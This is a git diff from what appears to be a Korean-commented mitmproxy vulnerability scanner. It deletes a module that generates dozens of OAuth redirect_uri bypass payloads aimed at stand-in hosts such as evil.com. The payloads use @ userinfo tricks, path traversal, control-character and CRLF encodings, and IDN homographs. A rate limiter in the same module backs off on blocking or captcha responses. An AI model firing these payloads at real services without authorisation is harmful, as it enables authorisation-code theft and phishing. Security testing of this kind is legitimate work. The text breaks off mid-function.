취약점 아님 + facebook_domains = ["www.facebook.com", "facebook.com", "m.facebook.com"] + if any(fb_domain in location_host.lower() for fb_domain in facebook_domains): + print(f"[DEBUG] ❌ Facebook 내부 페이지로 리다이렉트 - 취약점 아님") + return False + + # 실제 악성 도메인들만 체크 + malicious_domains = ["evil.com", "attacker.com", "malicious.site"] + if any(domain in location_host.lower() for domain in malicious_domains): + print(f"[DEBUG] ✅ 실제 악성 도메인으로 리다이렉트!") + return True + + return False + + except Exception as e: + print(f"[DEBUG] 파싱 에러: {e}") + return False + + """ 취약점 보고서 생성 """ + async def _report_open_redirect_vulnerability(self, original_url, test_url, + bypassed_redirect, location, payload): + """Open Redirect 취약점 보고서 생성""" + pattern_name = payload.name if hasattr(payload, 'name') else str(payload) + pattern_description = payload.description if hasattr(payload, 'description') else "Unknown bypass pattern" + + description = ( + f"Open Redirect 취약점 발견!\n\n" + f"-- 상세 정보 --:\n" + f"• 우회 패턴: {pattern_name}\n" + f"• 설명: {pattern_description}\n" + f"• 원본 URL: {original_url}\n" + f"• 우회된 redirect 값: {bypassed_redirect}\n" + f"• 테스트 URL: {test_url}\n" + f"• 실제 리다이렉트 위치: {location}\n\n" + f"🚨 이 취약점을 이용하면 피싱 공격이 가능합니다!\n" + ) + + report_vuln( + title="Open Redirect Vulnerability", + desc=description, + status="MEDIUM", # Open Redirect는 보통 Medium + uri=test_url + ) + print(f"[🎯 MEDIUM] Open Redirect 취약점 발견 및 보고 완료!") + print(f"[INFO] 패턴: {pattern_name}, 리다이렉트: {location}") + + # TODO: 우리가 탐지하는 IdP가 제한적이기 때문에 각 IdP의 uri 패턴을 탐지하는 것도 좋아보임 + # Loaction 헤더에 담긴 인가 코드 뿐만 아니라, script나 다른 방식으로도 인가 코드가 전달될 수 있음 + \ No newline at end of file diff --git a/addon/redirect_uri_check.py b/addon/redirect_uri_check.py deleted file mode 100644 index 83c0ac6..0000000 --- a/addon/redirect_uri_check.py +++ /dev/null @@ -1,1402 +0,0 @@ -from mitmproxy import http -import aiohttp -import asyncio -import random -import time -from urllib.parse import urlparse, parse_qs, urlencode, urlunparse -from lib.report_vuln import report_vuln - -class RedirectRateLimiter: - """redirect_uri_check 전용 rate limiter""" - def __init__(self): - self.last_request = 0 - self.request_count = 0 - self.failure_count = 0 - self.consecutive_failures = 0 - self.blocked_until = 0 - self.pattern_index = 0 # 현재 테스트 중인 패턴 번호 - - # 설정값 (전체 패턴 기준으로 최적화) - self.base_delay = 1.0 # 기본 1초 지연 (38개니까 빠르게) - self.failure_backoff = 0.5 # 실패시 0.5초씩 증가 - self.max_delay = 5.0 # 최대 5초 지연 - self.block_duration = 300 # 5분 차단 - self.success_speedup = 0.8 # 성공시 속도 증가 - - async def wait_if_needed(self, pattern_name: str, target_url: str = "") -> bool: - """패턴별 레이트 리미팅""" - current_time = time.time() - - # 차단 중인지 확인 - if current_time < self.blocked_until: - remaining = int(self.blocked_until - current_time) - print(f"[RATE_LIMIT] ⛔ 차단 중 - {remaining}초 남음, {pattern_name} 스킵") - return False - - # 적응형 지연 시간 계산 - delay = self._calculate_delay() - - # 마지막 요청으로부터의 시간 확인 - time_since_last = current_time - self.last_request - if time_since_last < delay: - wait_time = delay - time_since_last - print(f"[RATE_LIMIT] ⏳ {wait_time:.1f}초 대기 (패턴: {pattern_name})") - await asyncio.sleep(wait_time) - - self.last_request = time.time() - self.request_count += 1 - self.pattern_index += 1 - - # 진행률 표시 (10개마다) - if self.pattern_index % 10 == 0: - print(f"[PROGRESS] 📊 {self.pattern_index}/38 패턴 완료") - - return True - - def _calculate_delay(self) -> float: - """적응형 지연 시간 계산""" - delay = self.base_delay - - # 연속 실패에 따른 백오프 - if self.consecutive_failures > 0: - backoff = min(self.consecutive_failures * self.failure_backoff, 3.0) - delay += backoff - - # 전체 실패율에 따른 조정 - if self.request_count > 5: - failure_rate = self.failure_count / self.request_count - if failure_rate > 0.3: # 실패율 30% 초과시 - delay *= (1 + failure_rate) - - # 최대값 제한 - delay = min(delay, self.max_delay) - - # 랜덤 지터 (±20%) - jitter = random.uniform(0.8, 1.2) - return delay * jitter - - def record_success(self): - """성공 기록""" - self.consecutive_failures = 0 - # 성공시 약간 속도 증가 (학습 효과) - if self.base_delay > 0.5: - self.base_delay *= self.success_speedup - - def record_failure(self, error_msg: str = ""): - """실패 기록 및 차단 감지""" - self.failure_count += 1 - self.consecutive_failures += 1 - - # 즉시 차단이 필요한 패턴들 - immediate_block_patterns = [ - '403', '429', '503', - 'forbidden', 'rate limit', 'rate-limit', - 'too many requests', 'blocked', 'banned', - 'captcha', 'recaptcha', 'cloudflare', - 'security check', 'access denied' - ] - - error_lower = str(error_msg).lower() - should_block = any(pattern in error_lower for pattern in immediate_block_patterns) - - if should_block: - self.blocked_until = time.time() + self.block_duration - print(f"[RATE_LIMIT] 🚫 차단 패턴 감지 - 5분 대기: {error_msg}") - return - - # 연속 실패 임계값 도달시 차단 - if self.consecutive_failures >= 8: # 38개 패턴이니까 8개 실패까지 허용 - self.blocked_until = time.time() + self.block_duration - print(f"[RATE_LIMIT] 🚫 연속 실패 {self.consecutive_failures}회 - 5분 대기") - - def reset_for_new_target(self): - """새로운 타겟 시작시 일부 통계 리셋""" - self.pattern_index = 0 - self.consecutive_failures = 0 - # base_delay와 전체 통계는 유지 (학습된 내용) - -# 글로벌 레이트 리미터 -redirect_limiter = RedirectRateLimiter() - -class BypassPayload: - """ 우회 패턴 정의 """ - def __init__(self, name: str, mutate_func, description: str): - self.name = name - self.mutate = mutate_func #우회 url 만드는 함수 - self.description = description - - -class RedirectBypassChecker: - def __init__(self): - """ 우회 페이로드 목록 """ - self.bypass_payloads = [ - BypassPayload( - name=r"@", - mutate_func=self._mutate_pattern1, - description=r"Host bypass attack using @ symbol: evil.com@target.com" - ), - - BypassPayload( - name=r"%ff@", - mutate_func=self._mutate_pattern2, - description=r"Hostname parsing bypass using Unicode %ff byte: evil%ff@target.com" - ), - - BypassPayload( - name=r"%ff_subdomain", - mutate_func=self._mutate_pattern3, - description=r"Unicode %ff byte injection in subdomain: evil%ff.target.com" - ), - - BypassPayload( - name=r"fullwidth_slash_direct", - mutate_func=self._mutate_pattern4_1, - description=r"Direct fullwidth slash bypass: target.com/@evil.com" - ), - - BypassPayload( - name=r"fullwidth_slash_encoded", - mutate_func=self._mutate_pattern4_2, - description=r"Encoded fullwidth slash bypass: target.com%EF%BC%8F@evil.com" - ), - - BypassPayload( - name=r"fullwidth_backslash_direct", - mutate_func=self._mutate_pattern4_3, - description=r"Direct fullwidth backslash bypass: target.com\@evil.com" - ), - - BypassPayload( - name=r"fullwidth_backslash_encoded", - mutate_func=self._mutate_pattern4_4, - description=r"Encoded fullwidth backslash bypass: target.com%EF%BC%BC@evil.com" - ), - - BypassPayload( - name=r"mixed_backslash_types", - mutate_func=self._mutate_pattern5, - description=r"Mixed backslash types: target.com\\\evil.com" - ), - - BypassPayload( - name=r"mixed_backslash_fullwidth_slash", - mutate_func=self._mutate_pattern6, - description=r"Mixed backslash and fullwidth slash: target.com\\/evil.com" - ), - - BypassPayload( - name=r"path_traversal_basic", - mutate_func=self._mutate_pattern7_1, - description=r"Basic path traversal: target.com/path/../../../evil.com" - ), - BypassPayload( - name=r"path_traversal_deep", - mutate_func=self._mutate_pattern7_2, - description=r"Deep path traversal: target.com/path/../../../../../../../../evil.com" - ), - BypassPayload( - name=r"path_traversal_absolute", - mutate_func=self._mutate_pattern7_3, - description=r"Absolute path traversal: target.com/../evil.com" - ), - BypassPayload( - name=r"path_traversal_mixed", - mutate_func=self._mutate_pattern7_4, - description=r"Mixed slash traversal: target.com/path/.././.././evil.com" - ), - BypassPayload( - name=r"path_traversal_semicolon", - mutate_func=self._mutate_pattern7_5, - description=r"Semicolon path traversal: target.com/path/..;/..;/evil.com" - ), - BypassPayload( - name=r"path_traversal_encoded", - mutate_func=self._mutate_pattern7_6, - description=r"URL encoded traversal: target.com/path/%2e%2e/%2e%2e/evil.com" - ), - BypassPayload( - name=r"path_traversal_double_encoded", - mutate_func=self._mutate_pattern7_7, - description=r"Double encoded traversal: target.com/path/%252e%252e%252f/evil.com" - ), - BypassPayload( - name=r"path_traversal_hex", - mutate_func=self._mutate_pattern7_8, - description=r"Hex encoded traversal: target.com/path/%2e%2e%2f%2e%2e%2f/evil.com" - ), - BypassPayload( - name=r"path_traversal_unicode", - mutate_func=self._mutate_pattern7_9, - description=r"Unicode dot traversal: target.com/path/../../evil.com" - ), - BypassPayload( - name=r"path_traversal_backslash", - mutate_func=self._mutate_pattern7_10, - description=r"Backslash traversal: target.com/path\\..\\..\\evil.com" - ), - BypassPayload( - name=r"path_traversal_overlong", - mutate_func=self._mutate_pattern7_11, - description=r"Overlong UTF-8 traversal: target.com/path/%c0%ae%c0%ae/evil.com" - ), - BypassPayload( - name=r"path_traversal_null", - mutate_func=self._mutate_pattern7_12, - description=r"Null byte traversal: target.com/path/../%00../evil.com" - ), - - BypassPayload( - name=r"wildcard_subdomain_bypass", - mutate_func=self._mutate_pattern8, - description=r"Wildcard subdomain bypass: attacker.target.com" - ), - - BypassPayload( - name=r"backslash_bypass", - mutate_func=self._mutate_pattern9, - description=r"Backslash URL parsing bypass: target.com\\evil.com" - ), - - BypassPayload( - name=r"double_slash", - mutate_func=self._mutate_pattern10, - description=r"Double slash bypass: target.com//evil.com" - ), - - BypassPayload( - name=r"question_mark", - mutate_func=self._mutate_pattern11, - description=r"Question mark bypass: target.com?evil.com" - ), - - BypassPayload( - name=r"idn_homograph", - mutate_func=self._mutate_pattern12, - description=r"IDN homograph attack using visually similar characters: gооgle.com (Cyrillic)" - ), - - BypassPayload( - name=r"ipv6_bypass", - mutate_func=self._mutate_pattern13, - description=r"IPv6 address bypass: evil.com@[::1] or evil.com@[2001:db8::1]" - ), - - BypassPayload( - name=r"mixed_case_idn_combo", - mutate_func=self._mutate_pattern14, - description=r"Mixed case + IDN combo: ЕVIL.example@TARGET.COM" - ), - - BypassPayload( - name=r"fragment_bypass", - mutate_func=self._mutate_pattern15, - description=r"Fragment identifier bypass: target.com#@evil.com" - ), - - BypassPayload( - name=r"combined_bypass", - mutate_func=self._mutate_pattern16, - description=r"Combined multiple bypass techniques: evil.com@target.com//../../evil.com" - ), - - BypassPayload( - name=r"path_backslash_domain", - mutate_func=self._mutate_pattern17, - description=r"Path backslash domain bypass: target.com\\.evil.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_basic", - mutate_func=self._mutate_pattern18_1, - description=r"Basic mixed encoding: evil.com%09%0A%20@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_full", - mutate_func=self._mutate_pattern18_2, - description=r"Full control char chaos: evil.com%0A%0D%09%0B%0C%20@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_special", - mutate_func=self._mutate_pattern18_3, - description=r"Control + special chars: evil.com%09%0A%20%00%FF@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_double", - mutate_func=self._mutate_pattern18_4, - description=r"Double encoded chaos: evil.com%2509%250A%2520@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_reverse", - mutate_func=self._mutate_pattern18_5, - description=r"Reverse control chars: evil.com%20%0A%09@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_repeat", - mutate_func=self._mutate_pattern18_6, - description=r"Repeated control chars: evil.com%09%09%09@target.com" - ), - - BypassPayload( - name=r"subdomain_confusion_hyphen", - mutate_func=self._mutate_pattern19, - description=r"Subdomain confusion with hyphen: target-com.evil.com" - ), - - BypassPayload( - name=r"semicolon_userinfo_bypass", - mutate_func=self._mutate_pattern20, - description=r"Semicolon userinfo bypass: target.com;evil.com" - ), - - BypassPayload( - name=r"tab_character_bypass", - mutate_func=self._mutate_pattern21, - description=r"Tab character bypass using %09: evil.com%09@target.com" - ), - - BypassPayload( - name=r"space_character_bypass", - mutate_func=self._mutate_pattern22, - description=r"Space character bypass using %20: evil.com%20@target.com" - ), - - BypassPayload( - name=r"form_feed_bypass", - mutate_func=self._mutate_pattern23, - description=r"Form feed character bypass using %0c: evil.com%0c@target.com" - ), - - BypassPayload( - name=r"vertical_tab_bypass", - mutate_func=self._mutate_pattern24, - description=r"Vertical tab bypass using %0b: evil.com%0b@target.com" - ), - - BypassPayload( - name=r"%0a@", - mutate_func=self._mutate_pattern25, - description=r"Newline character bypass using %0a@: evil.com%0a@target.com" - ), - - BypassPayload( - name=r"%0d@", - mutate_func=self._mutate_pattern26, - description=r"Carriage return bypass using %0d@: evil.com%0d@target.com (URL parser confusion)" - ), - - BypassPayload( - name=r"crlf_injection", - mutate_func=self._mutate_pattern27, - description=r"CRLF injection bypass: evil.com%0D%0A@target.com" - ), - - BypassPayload( - name=r"mixed_case_scheme", - mutate_func=self._mutate_pattern28, - description=r"Mixed case scheme bypass: HtTpS://evil.com@target.com" - ), - - BypassPayload( - name=r"scheme_dot_injection", - mutate_func=self._mutate_pattern29, - description=r"Scheme dot injection: https.://evil.com@target.com" - ), - - BypassPayload( - name=r"port_encoded_bypass", - mutate_func=self._mutate_pattern30, - description=r"Port encoded bypass: target.com:%40evil.com (%40 = @)" - ), - - BypassPayload( - name=r"ampersand_encoded_bypass", - mutate_func=self._mutate_pattern31, - description=r"Ampersand encoded bypass: target.com &%40evil.com" - ), - - BypassPayload( - name=r"underscore_encoded_bypass", - mutate_func=self._mutate_pattern32, - description=r"Underscore encoded bypass: target.com.%5F.evil.com (%5F = _)" - ), - - BypassPayload( - name=r"comma_separator_bypass", - mutate_func=self._mutate_pattern33, - description=r"Comma separator bypass: target.com.%2C.evil.com (%2C = ,)" - ), - - BypassPayload( - name=r"schemeless_bypass", - mutate_func=self._mutate_pattern34, - description=r"Schemeless bypass: //evil.com" - ), - - BypassPayload( - name=r"schema_colon_bypass", - mutate_func=self._mutate_pattern35, - description=r"Schema colon bypass: http:evil.com" - ), - - BypassPayload( - name=r"null_byte_prefix", - mutate_func=self._mutate_pattern36, - description=r"Null byte prefix: %00http://evil.com" - ), - - BypassPayload( - name=r"unicode_spaces_bypass", - mutate_func=self._mutate_pattern37, - description=r"Unicode spaces bypass: evil.com%E2%80%8Btarget.com (zero-width space)" - ), - - BypassPayload( - name=r"bracket_encoded_bypass", - mutate_func=self._mutate_pattern38, - description=r"Bracket encoded bypass: target.com%5B%40evil.com (%5B = [)" - ), - - ] - self.session = None - - """ 우회 URL 생성 목록 """ - # 1. @ - def _mutate_pattern1(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] original: {original} → mutated: {mutated}") - return mutated - - # 2. %ff@ - 유니코드 바이트 우회 - def _mutate_pattern2(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil%ff@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] %ff@ pattern: {original} → {mutated}") - return mutated - - # 3. %ff 서브도메인 - 유니코드 바이트 서브도메인 삽입 - def _mutate_pattern3(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil%ff.{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] %ff subdomain pattern: {original} → {mutated}") - return mutated - - # 4. 전각 문자 패턴 - /, %EF%BC%8F, \, %EF%BC%BC - # 4_1. 직접 전각 슬래시 - def _mutate_pattern4_1(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}/@evil.com{path_part}" - print(f"[redirect_uri_check] direct fullwidth slash: {original} → {mutated}") - return mutated - - # 4_2. URL 인코딩된 전각 슬래시 - def _mutate_pattern4_2(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # %EF%BC%8F = 전각 슬래시 (/) - mutated = f"https://{parsed.netloc}%EF%BC%8F@evil.com{path_part}" - print(f"[redirect_uri_check] encoded fullwidth slash: {original} → {mutated}") - return mutated - - # 4_3. 직접 전각 백슬래시 - def _mutate_pattern4_3(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}\@evil.com{path_part}" - print(f"[redirect_uri_check] direct fullwidth backslash: {original} → {mutated}") - return mutated - - # 4_4. URL 인코딩된 전각 백슬래시 - def _mutate_pattern4_4(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # %EF%BC%BC = 전각 백슬래시 (\) - mutated = f"https://{parsed.netloc}%EF%BC%BC@evil.com{path_part}" - print(f"[redirect_uri_check] encoded fullwidth backslash: {original} → {mutated}") - return mutated - - # 5. 백슬래시 + 전각 백슬래시 조합 - def _mutate_pattern5(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}\\\evil.com{path_part}" - print(f"[redirect_uri_check] mixed backslash types: {original} → {mutated}") - return mutated - - # 6. 백슬래시 + 전각 슬래시 조합 - def _mutate_pattern6(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}\\/evil.com{path_part}" - print(f"[redirect_uri_check] mixed backslash-fullwidth slash: {original} → {mutated}") - return mutated - - # 7. 경로 순회 - Path traversal bypass - # 7-1. 기본 경로 순회 - def _mutate_pattern7_1(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - mutated = f"https://{parsed.netloc}{base_path}/../../../evil.com" - print(f"[redirect_uri_check] basic path traversal: {original} → {mutated}") - return mutated - - # 7-2. 더 많은 경로 순회 - def _mutate_pattern7_2(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - mutated = f"https://{parsed.netloc}{base_path}/../../../../../../../../evil.com" - print(f"[redirect_uri_check] deep path traversal: {original} → {mutated}") - return mutated - - # 7-3. 절대 경로로 우회 - def _mutate_pattern7_3(self, original: str) -> str: - parsed = urlparse(original) - mutated = f"https://{parsed.netloc}/../evil.com" - print(f"[redirect_uri_check] absolute path traversal: {original} → {mutated}") - return mutated - - # 7-4. 혼합 슬래시 패턴 - def _mutate_pattern7_4(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - mutated = f"https://{parsed.netloc}{base_path}/.././.././evil.com" - print(f"[redirect_uri_check] mixed slash traversal: {original} → {mutated}") - return mutated - - # 7-5. 점 뒤에 추가 문자 - def _mutate_pattern7_5(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - mutated = f"https://{parsed.netloc}{base_path}/..;/..;/evil.com" - print(f"[redirect_uri_check] semicolon path traversal: {original} → {mutated}") - return mutated - - # 7-6. URL 인코딩된 경로 순회 - def _mutate_pattern7_6(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # %2e = ., %2f = / - mutated = f"https://{parsed.netloc}{base_path}/%2e%2e/%2e%2e/%2e%2e/evil.com" - print(f"[redirect_uri_check] URL encoded traversal: {original} → {mutated}") - return mutated - - # 7-7. 이중 URL 인코딩 - def _mutate_pattern7_7(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # %252e = 이중 인코딩된 . - mutated = f"https://{parsed.netloc}{base_path}/%252e%252e%252f%252e%252e%252fevil.com" - print(f"[redirect_uri_check] double encoded traversal: {original} → {mutated}") - return mutated - - # 7-8. 16진수 인코딩 - def _mutate_pattern7_8(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # 0x2e2e2f = ../ - mutated = f"https://{parsed.netloc}{base_path}/%2e%2e%2f%2e%2e%2f%2e%2e%2fevil.com" - print(f"[redirect_uri_check] hex encoded traversal: {original} → {mutated}") - return mutated - - # 7-9. 유니코드 정규화 우회 - def _mutate_pattern7_9(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # 유니코드 점 문자들 (U+002E, U+FF0E 등) - mutated = f"https://{parsed.netloc}{base_path}/../../evil.com" - print(f"[redirect_uri_check] unicode dot traversal: {original} → {mutated}") - return mutated - - # 7-10. 백슬래시 + 경로 순회 조합 - def _mutate_pattern7_10(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - mutated = f"https://{parsed.netloc}{base_path}\\..\\..\\evil.com" - print(f"[redirect_uri_check] backslash traversal: {original} → {mutated}") - return mutated - - # 7-11. 오버롱 UTF-8 인코딩 - def _mutate_pattern7_11(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # %c0%ae = 오버롱 UTF-8로 인코딩된 점 - mutated = f"https://{parsed.netloc}{base_path}/%c0%ae%c0%ae/%c0%ae%c0%ae/evil.com" - print(f"[redirect_uri_check] overlong UTF-8 traversal: {original} → {mutated}") - return mutated - - # 7-12. 널 바이트 삽입 - def _mutate_pattern7_12(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # %00 = 널 바이트 - mutated = f"https://{parsed.netloc}{base_path}/../%00../../../evil.com" - print(f"[redirect_uri_check] null byte traversal: {original} → {mutated}") - return mutated - - # 8. 와일드카드 서브도메인 우회 - def _mutate_pattern8(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # 공격자가 제어하는 서브도메인으로 *.target.com 정책 우회 - mutated = f"https://attacker.{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] wildcard subdomain bypass: {original} → {mutated}") - return mutated - - # 9. 백슬래시 우회 - Dart SDK Issue #50075 - def _mutate_pattern9(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}\\evil.com{path_part}" - print(f"[redirect_uri_check] backslash pattern: {original} → {mutated}") - return mutated - - # 10. 이중 슬래시 - def _mutate_pattern10(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}//evil.com{path_part}" - print(f"[redirect_uri_check] double slash pattern: {original} → {mutated}") - return mutated - - # 11. 물음표 우회 - def _mutate_pattern11(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}?evil.com{path_part}" - print(f"[redirect_uri_check] question mark pattern: {original} → {mutated}") - return mutated - - # 12. IDN 동형문자 공격 - 시각적으로 동일하지만 다른 도메인 - def _mutate_pattern12(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # RFC 2606 테스트 도메인 + IDN 문자 о(키릴 문자 U+043E) vs o(라틴 문자 U+006F) 사용 - mutated = f"https://еvil.example@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] IDN homograph pattern: {original} → {mutated}") - return mutated - - # 13. IPv6 주소 우회 - 안전한 버전 - def _mutate_pattern13(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - - # 안전한 IPv6 @ 우회 패턴 - if "localhost" in parsed.netloc: - mutated = f"https://evil.example@[::1]:3000{path_part}" - else: - # RFC 3849 문서용 IPv6 주소 사용 (라우팅 안 됨) - mutated = f"https://evil.example@[2001:db8::1]{path_part}" - - print(f"[redirect_uri_check] IPv6 bypass pattern: {original} → {mutated}") - return mutated - - # 14. 대소문자 + IDN 문자 조합으로 필터 우회 - def _mutate_pattern14(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://ЕVIL.example@{parsed.netloc.upper()}{path_part}" # Е는 키릴 문자 - print(f"[redirect_uri_check] mixed case IDN bypass: {original} → {mutated}") - return mutated - - # 15. Fragment identifier 우회 - def _mutate_pattern15(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # Fragment(#)로 실제 목적지 숨기기 - 브라우저는 fragment 부분을 서버에 전송하지 않음 - mutated = f"https://{parsed.netloc}{path_part}#@evil.com" - print(f"[redirect_uri_check] fragment bypass pattern: {original} → {mutated}") - return mutated - - # 16. 복합 우회 패턴 - 여러 기법 동시 적용 - def _mutate_pattern16(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # @ 우회 + 이중 슬래시 + 경로 순회 조합 - mutated = f"https://evil.com@{parsed.netloc}//../../evil.com{path_part}" - print(f"[redirect_uri_check] combined bypass pattern: {original} → {mutated}") - return mutated - - # 17. 경로에 백슬래시 + 도메인 우회 (Chrome, Firefox, Edge) - def _mutate_pattern17(self, original: str) -> str: - parsed = urlparse(original) - # target.com\\.evil.com 패턴 - 기존 백슬래시 패턴과는 다른 위치 - mutated = f"https://{parsed.netloc}\\.evil.com" - print(f"[redirect_uri_check] path backslash domain: {original} → {mutated}") - return mutated - - # 18_1. 혼합 인코딩 우회 (여러 인코딩 방식 조합) - def _mutate_pattern18_1(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # 탭 + 줄바꿈 + 공백 - mutated = f"https://evil.com%09%0A%20@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] mixed encoding chaos: {original} → {mutated}") - return mutated - - # 18_2. 모든 제어 문자 조합 - def _mutate_pattern18_2(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # 줄바꿈 + 캐리지리턴 + 탭 + 수직탭 + 폼피드 + 공백 - mutated = f"https://evil.com%0A%0D%09%0B%0C%20@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] full control char chaos: {original} → {mutated}") - return mutated - - # 18_3. 제어 문자 + 특수 문자 - def _mutate_pattern18_3(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%09%0A%20%00%FF@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] control + special char chaos: {original} → {mutated}") - return mutated - - # 18_4. 이중 인코딩 + 제어 문자 - def _mutate_pattern18_4(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%2509%250A%2520@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] double encoded control chaos: {original} → {mutated}") - return mutated - - # 18_5. 역순 제어 문자 - def _mutate_pattern18_5(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%20%0A%09@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] reverse control char chaos: {original} → {mutated}") - return mutated - - # 18_6. 반복 제어 문자 - def _mutate_pattern18_6(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%09%09%09@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] repeated control char chaos: {original} → {mutated}") - return mutated - - # 19. 서브도메인 혼동 우회 (하이픈 버전) - def _mutate_pattern19(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # target.com → target-com.evil.com - host_with_hyphen = parsed.netloc.replace('.', '-').replace(':', '-') - mutated = f"https://{host_with_hyphen}.evil.com{path_part}" - print(f"[redirect_uri_check] subdomain confusion bypass: {original} → {mutated}") - return mutated - - # 20. 세미콜론 userinfo 우회 - def _mutate_pattern20(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc};evil.com{path_part}" - print(f"[redirect_uri_check] semicolon userinfo bypass: {original} → {mutated}") - return mutated - - # 21. %09 - 탭 문자 우회 - def _mutate_pattern21(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%09@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] tab character bypass: {original} → {mutated}") - return mutated - - # 22. %20 - 공백 문자 우회 - def _mutate_pattern22(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%20@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] space character bypass: {original} → {mutated}") - return mutated - - # 23. %0c - 폼 피드 문자 우회 - def _mutate_pattern23(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%0c@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] form feed bypass: {original} → {mutated}") - return mutated - - # 24. %0b - 수직 탭 문자 우회 - def _mutate_pattern24(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%0b@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] vertical tab bypass: {original} → {mutated}") - return mutated - - # 25. %0a@ - 줄바꿈 문자 우회 - def _mutate_pattern25(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%0a@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] newline pattern: {original} → {mutated}") - return mutated - - # 26. %0d@ - 캐리지 리턴 우회 (URL parser confusion) - def _mutate_pattern26(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%0d@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] carriage return pattern: {original} → {mutated}") - return mutated - - # 27. CRLF 인젝션 우회 - def _mutate_pattern27(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # %0D%0A = CRLF (Carriage Return + Line Feed) - HTTP 헤더 인젝션 - mutated = f"https://evil.com%0D%0A@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] CRLF injection bypass: {original} → {mutated}") - return mutated - - # 28. HTTP/HTTPS 대소문자 혼합 스키마 우회 - def _mutate_pattern28(self, original: str) -> str: - parsed = urlparse(original) - path_part = 